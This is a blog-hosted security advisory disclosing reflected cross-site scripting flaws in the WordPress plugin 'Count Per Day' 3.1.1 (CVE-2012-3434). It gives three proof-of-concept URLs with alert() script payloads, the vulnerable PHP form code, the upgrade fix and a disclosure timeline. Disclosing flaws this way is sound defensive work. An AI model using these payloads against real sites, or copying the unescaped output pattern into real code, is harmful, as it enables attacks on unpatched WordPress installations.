Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170
Skip to content

SSCHADV2012-015 - WordPress Plugin 'Count Per Day' 3.1.1 Multiple Cross-site scripting vulnerabilities

Advisory:
WordPress Plugin ‘Count Per Day’ 3.1.1 Multiple Cross-site scripting vulnerabilities
Advisory ID:
SSCHADV2012-015
Author:
Stefan Schurtz
Affected Software:
Successfully tested on ‘Count Per Day’ 3.1.1
Vendor URL:
Vendor Status:
fixed
CVE-ID:
CVE-2012-3434
 
======================
Vulnerability Description
======================
 
The WordPress plugin ‘Count Per Day’ 3.1.1’ is prone to multiple XSS vulnerabilities
 
==============
PoC-Exploit
==============

http://[target]/wp/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(/xss/)</script>
http://
[target]/wp/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(/xss/)</script>
http://
[target]/wp/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(/xss/)</script>
 
==============
Vulnerable code
==============
 
// userperspan.php
 
<form action="" method="post">
<p style="background:#ddd; padding:3px;">
<?php _e(‘Start’, ‘cpd’); ?>:
<input type="text" name="datemin" value="<?php echo $cpd_datemin; ?>" size="10" />
<?php _e(‘End’, ‘cpd’); ?>:
<input type="text" name="datemax" value="<?php echo $cpd_datemax; ?>" size="10" />
<?php _e(‘PostID’, ‘cpd’); ?>:
<input type="text" name="page" value="<?php echo $cpd_page; ?>" size="5" />
<input type="submit" value="<?php _e(‘show’, ‘cpd’) ?>" /> </p> </form>
 
==============
Solution
==============
 
Upgrade to the latest version 3.2
 
================
Disclosure Timeline
================

29-Jun-2012 – developer informed (contact form)
02-Jul-2012 – verified by Meistar
03-Jul-2012 – feedback from developer
14-Jul-2012 – fixed by developer

==============
Credits
==============

Vulnerabilities found and advisory written by Stefan Schurtz.

==============
References
==============
 

Trackbacks

No Trackbacks

Comments

Display comments as Linear | Threaded

No comments

Add Comment


To prevent automated Bots from commentspamming, please enter the string you see in the image below in the appropriate input box. Your comment will only be submitted if the strings match. Please ensure that your browser supports and accepts cookies, or your comment cannot be verified correctly.
CAPTCHA 1CAPTCHA 2CAPTCHA 3CAPTCHA 4CAPTCHA 5


Textile-formatting allowed
You can use [geshi lang=lang_name [,ln={y|n}]][/geshi] tags to embed source code snippets.
Form options
Imprint | Contact | Privacy Statement

Warning: opendir(/var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/sh/3.0.83.2/scripts/): failed to open dir: No such file or directory in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 26

Warning: Invalid argument supplied for foreach() in /var/www/html/web1/serendipity/plugins/serendipity_event_dpsyntaxhighlighter/serendipity_event_dpsyntaxhighlighter.php on line 170